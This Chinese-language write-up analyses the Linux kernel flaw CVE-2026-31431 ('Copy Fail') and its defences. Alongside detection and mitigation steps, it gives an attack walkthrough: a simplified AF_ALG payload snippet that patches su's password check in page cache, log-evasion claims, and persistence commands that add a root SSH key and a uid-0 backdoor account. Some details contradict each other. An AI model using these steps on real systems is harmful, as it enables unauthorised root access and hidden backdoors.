Linux 内核中 Copy Fail 漏洞(CVE-2026-31431)的详细分析,包括内存破坏机制、权限提升流程及安全影响。
对 Linux 内核中 Copy Fail 漏洞的教育性分析。
涵盖内存破坏机制、权限提升流程、容器逃逸及防御对策。
本仓库仅用于教育和研究目的。
请勿在非您所有或未经明确书面许可的系统上使用此信息。
所有代码片段和命令均严格用于帮助理解 Linux 内核内部机制。
CVE-2026-31431,又称 Copy Fail,是一个 Linux 内核漏洞,非特权本地用户无需任何特殊权限即可提升至 root。
该攻击完全在 RAM 中进行。磁盘文件从未被触碰——这意味着文件哈希保持干净、时间戳不变、审计日志无任何记录。当系统重启时,所有证据消失。
普通用户 → 利用 algif_aead 漏洞 → 覆盖页缓存 → root
关键特性:
/usr/bin/su — 目标二进制su(切换用户)允许用户切换到另一个账户——通常是 root。它是一个 SetUID 二进制:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID 标志
s 标志意味着:当任何用户运行此二进制时,它以 root 的权限执行。这使其成为高价值目标。
其内部逻辑(简化):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
攻击目标:完全跳过 password_correct() 检查。
当 Linux 从磁盘读取文件时,它会在 RAM 中保留一份副本,称为页缓存。
| 组件 | 描述 |
|---|---|
| 磁盘 | 磁盘上的原始文件(书架) |
| 页缓存 | 文件的 RAM 副本(您桌上的复印件) |
| CPU | 从页缓存读取并执行——速度快 |
| 攻击者 | 修改 RAM 副本;磁盘保持不动 |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← 这就是页缓存
| 类型 | 安全性 |
|---|---|
| 安全缓冲区 — 内核分配,大小和边界受控 | ✅ 安全 |
| 页缓存 — 文件支持的 RAM 副本,共享,可执行 | ⚠️ 若被写入则危险 |
| 错误指针 — 漏洞导致的指向任意位置的地址 | 🔴 严重 |
AF_ALG(算法族)是 Linux 套接字接口,允许用户空间程序使用内核加密功能(AES、SHA、AEAD)。
socket(AF_ALG, SOCK_SEQPACKET, 0); // 打开加密套接字
algif_aead 是处理通过 AF_ALG 进行 AEAD 加密(如 AES-GCM)的内核模块。漏洞存在于其数据复制步骤中。
AF_ALG → algif_aead → AES-GCM 引擎 → 输出缓冲区
↑
漏洞在此
该漏洞不在加密逻辑中。它位于内存处理中——在数据复制过程中选择了错误的内存区域。
destination = safe_output_buffer; // 正确位置
memcpy(destination, user_data, size); // 数据安全写入
destination = buffer + WRONG_OFFSET; // 漏洞:错误指针!
memcpy(destination, user_data, size); // 数据落入页缓存
内核本应写入安全输出缓冲区。由于偏移量计算错误,它写入了页缓存——其中保存着 /usr/bin/su 的 RAM 副本。
该二进制包含 x86-64 机器码。攻击者针对触发认证失败的条件跳转:
攻击前:
cmp eax, 0 ; 检查返回值
jne 0x1234 ; 若失败 → 跳转到拒绝
call give_root ; 授予 root
攻击后(RAM 中更改 2 字节):
cmp eax, 0 ; 相同
90 90 ; NOP NOP ← 跳转被替换,检查被跳过!
call give_root ; CPU 直接落在此处
NOP = 无操作。CPU 不执行任何操作并继续前进——完全跳过认证检查。
“我只需要一个普通用户账户。内核会自己犯错误。
磁盘保持干净。无日志。每次都能成功。”
whoami && id
# uid=1000(user) gid=1000(user) ← 普通用户
uname -r
# 6.1.0-generic ← 在受影响范围内
ls -la /usr/bin/su
# -rwsr-xr-x root root ← 确认 SetUID
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su 现已加载到页缓存 ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
寻找:认证函数地址、jne/jnz 条件跳转及其精确字节偏移量。
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — 替换条件跳转
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# 内核内部(简化):
destination = buffer + crafted_offset # 漏洞:错误指针
memcpy(destination, payload, 2) # NOP 字节写入页缓存
# /usr/bin/su 的密码检查在 RAM 中现为 NOP NOP
su
# 密码:(任意内容——或直接按回车)
# root@victim:/# ← 获得 ROOT
发生了什么: 系统从 RAM 执行 /usr/bin/su。密码检查为 NOP。CPU 跳过它。直接调用 give_root()。
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
攻击后,取证调查员会发现:
sha256sum /usr/bin/su # 与之前相同的哈希 ← 磁盘未受影响
diff /usr/bin/su backup/su # 无差异
grep -r 'attack' /var/log/ # 无任何记录
auditd logs # 未记录文件写入
重启后,RAM 被清空——所有证据消失。
容器隔离用户空间——但内核是共享的,且页缓存是内核内存。
宿主机内核
├── 容器 1(隔离的用户空间)
│ └── 攻击者在此
├── 容器 2
└── 宿主机进程
页缓存:所有容器与宿主机之间共享!
逃逸路径: 容器 1 中的攻击者读取宿主机的 /usr/bin/su → 触发漏洞 → 宿主机二进制在 RAM 中被修改 → 在宿主机上运行 su 即可在宿主机上获得 root。
受影响:Docker、Podman、LXC、Kubernetes(共享节点)——如果宿主机内核存在漏洞。
这些仅为观察练习。任何测试请使用实验室环境(Docker + 旧内核虚拟机)。
free -h # 记录之前的 Cache 值
cat /usr/bin/su > /dev/null # 将文件加载到页缓存
free -h # Cache 略有增加
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# 正常情况下与磁盘相同——成功攻击后不同
# /proc/PID/mem 比较需要 root 权限
优先级 1 — 内核更新(最佳修复)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
优先级 2 — 禁用 algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
优先级 3 — 访问控制
在 systemd 服务中应用带 SystemCallFilter 的 seccomp 配置文件,以限制不受信任进程对 AF_ALG 套接字的访问。
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
# 使用 seccomp 配置文件运行(阻止 AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restricted 策略CVE-2026-31431 结合了隐蔽性(磁盘不变)+ 可靠性(无竞态条件)+ 容器逃逸——使其在同类别漏洞中尤为危险。
algif_aead 模块在 CVE-2026-31431 中,Linux 的加密模块(
algif_aead)存在内存复制漏洞,导致攻击者控制的数据落入页缓存而非安全输出缓冲区——在 RAM 中静默修改 SetUID 二进制——使任何本地用户无需在磁盘上留下任何痕迹即可获得 root 访问权限。
本文档为教育目的而编写,旨在帮助理解 Linux 内核安全内部机制。
— 仅供教育用途 —
👉 下载完整报告
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-31431 |
| 通用名称 | Copy Fail / algif_aead 页缓存破坏 |
| CVSS v3.1 评分 | 7.8 — 严重 |
| 攻击类型 | 本地权限提升(LPE) |
| 受影响内核版本 | Linux 5.10 至 6.8(约) |
| 漏洞组件 | crypto/algif_aead.c — AF_ALG 套接字接口 |
| 利用可靠性 | 高 — 无需竞态条件 |
| 磁盘证据 | 无 — 仅修改 RAM |
| 容器影响 | 是 — 通过共享页缓存逃逸宿主机 |
| 补丁状态 | 可用(上游内核补丁已发布) |
| CVE | 竞态条件? | 磁盘安全? | 可靠性 |
|---|
| CVE-2016-5195 DirtyCow | 是 — 需要精确时序 | 否 — 磁盘被修改 | 中 |
| CVE-2022-0847 DirtyPipe | 极小 | 是 — 仅 RAM | 高 |
| CVE-2026-31431 Copy Fail | 否 — 直接写入 | 是 — 仅 RAM | 非常高 |
| 检测方法 | 有效? |
|---|
| sha256sum / 文件哈希 | ❌ 磁盘完全相同 |
| 文件修改时间戳 | ❌ 磁盘未受影响 |
| auditd 文件写入日志 | ❌ 未发生磁盘写入 |
进程内存检查(/proc) | ✅ 仅当实时监控时 |
| eBPF 内核监控 | ✅ 系统调用级检测 |
| 内存取证(LiME) | ✅ 但较复杂 |
| 方法 | 命令 / 方式 |
|---|
| 内核版本 | uname -r → 与已修补版本对比 |
| 模块是否加载? | lsmod | grep algif_aead |
| eBPF 监控 | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| 进程内存 | cat /proc/PID/maps — 与磁盘哈希对比 |
| auditd | ausearch -sc socket -sv no |
| Falco | 规则:意外的 memfd 或页缓存写入 |
| 内存取证 | LiME 转储用于事后分析 |
| CVE / 名称 | 竞态条件? | 磁盘安全? | 容器逃逸? | 可靠性 |
|---|
| CVE-2016-5195 DirtyCow | 是 — 需要精确时序 | ❌ 磁盘被修改 | 部分 | 中 |
| CVE-2022-0847 DirtyPipe | 极小 | ✅ 仅 RAM | 是 | 高 |
| CVE-2026-31431 Copy Fail | 否 — 直接写入 | ✅ 仅 RAM | 是 — 共享缓存 | 非常高 |
| 术语 | 含义 |
|---|
| 权限提升 | 未经授权从普通用户提升至 root |
| 页缓存 | 文件在 RAM 中的副本,由内核管理 |
| SetUID 二进制 | root 拥有的文件,任何用户运行均以 root 权限执行 |
| 写入原语 | 通过漏洞获得的任意内存写入能力 |
| 竞态条件 | 基于时序的攻击,需要精确的执行窗口 |
| AF_ALG | Linux 内核加密套接字接口(算法族) |
| algif_aead | AEAD 加密内核模块 — 漏洞组件 |
| memcpy() | 内存复制函数 — 将数据从一个地址移动到另一个地址 |
| NOP | 无操作 — 不执行任何操作并继续的 CPU 指令 |
| 容器逃逸 | 突破容器以访问宿主机系统 |
| eBPF | 用于实时系统调用检测的内核级监控工具 |
| LiME | Linux 内存提取器 — 用于取证分析的 RAM 转储工具 |
| Seccomp | 安全计算 — Linux 限制系统调用的机制 |
| ELF | 可执行与可链接格式 — 标准 Linux 二进制格式 |
| CVE | 常见漏洞与暴露 — 漏洞标识符 |
| CVSS | 通用漏洞评分系统 — 标准化严重性评分 |
| 内核模块 | 内核插件(如设备驱动程序、加密处理器) |
| 偏移量 | 从一个内存点到另一个内存点的字节距离 |
| 逆向工程 | 在无源代码的情况下分析编译后的二进制 |
| 步骤 | 操作 |
|---|
| 1 | whoami — 确认您是普通用户 |
| 2 | uname -r — 验证内核在受影响范围内(5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — 确认存在 SetUID 标志 |
| 4 | 运行利用脚本:AF_ALG → algif_aead → 构造的载荷 |
| 5 | 内核漏洞触发 → /usr/bin/su 的页缓存在 RAM 中被覆盖 |
| 6 | 运行 su → 获得 ROOT(无需密码) |
| 7 | 持久化:添加 SSH 密钥或创建后门 root 用户 |